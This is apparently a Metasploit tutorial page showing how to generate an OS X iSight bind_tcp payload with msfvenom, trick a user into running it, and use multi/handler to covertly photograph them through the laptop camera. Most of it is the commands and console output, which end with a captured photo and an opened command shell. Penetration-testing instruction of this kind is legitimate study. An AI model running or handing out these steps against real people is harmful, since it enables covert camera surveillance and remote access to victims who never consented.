MSF vs OS X a11y.text MSF vs OS X One of the more interesting things about the Mac platform is how cameras are built into all of their laptops. This fact has not gone unnoticed by Metasploit developers, as there is a very interesting module that will take a picture with the built in camera. Lets see it in action. First we generate a stand alone executable to transfer to a OS X system: root@kali : ~ # msfvenom -a x86 --platform OSX -p osx/x86/isight/bind_tcp -b " \x00 " -f elf -o /tmp/osxt2 Found 10 compatible encoders

```
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 171 (iteration=0)
x86/shikata_ga_nai chosen with final size 171
Payload size: 171 bytes
```

So, in this scenario we trick the user into executing the executable we have created, then we use multi/handler to connect in and take a picture of the user. msf > use multi/handler

```
msf exploit(handler) > set PAYLOAD osx/x86/isight/bind_tcp
PAYLOAD => osx/x86/isight/bind_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------



Payload options (osx/x86/isight/bind_tcp):

   Name      Current Setting                  Required  Description
   ----      ---------------                  --------  -----------
   AUTOVIEW  true                                    yes       Automatically open the picture in a browser
   BUNDLE    ~/data/isight.bundle                    yes       The local path to the iSight Mach-O
Bundle to upload
   LPORT     4444                                    yes       The local port
   RHOST                                             no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > ifconfig eth0
[*] exec: ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:0c:29:a7:f1:c5
          inet addr:172.16.104.150  Bcast:172.16.104.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fea7:f1c5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:234609 errors:4 dropped:0 overruns:0 frame:0
          TX packets:717103 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:154234515 (154.2 MB)  TX bytes:58858484 (58.8 MB)
          Interrupt:19 Base address:0x2000
```

```
msf exploit(handler) > set RHOST 172.16.104.1

RHOST => 172.16.104.1


msf exploit(handler) > exploit


[*] Starting the payload handler...

[*] Started bind handler

[*] Sending stage (421 bytes)

[*] Sleeping before handling stage...

[*] Uploading bundle (29548 bytes)...

[*] Upload completed.

[*] Downloading photo...

[*] Downloading photo (13571 bytes)...

[*] Photo saved as /root/.msf4/logs/isight/172.16.104.1_20090821.495489022.jpg

[*] Opening photo in a web browser...

Error: no display specified

[*] Command shell session 2 opened (172.16.104.150:57008 -> 172.16.104.1:4444)

[*] Command shell session 2 closed.

msf exploit(handler) >
```

Very interesting! It appears we have a picture! Lets see what it looks like. Amazing. This is a very powerful feature with can be used for many different purposes. The standardization of the Apple hardware platform has created a well defined platform for attackers to take advantage of. Next File-Upload Backdoors Prev Karmetasploit Attack Analysis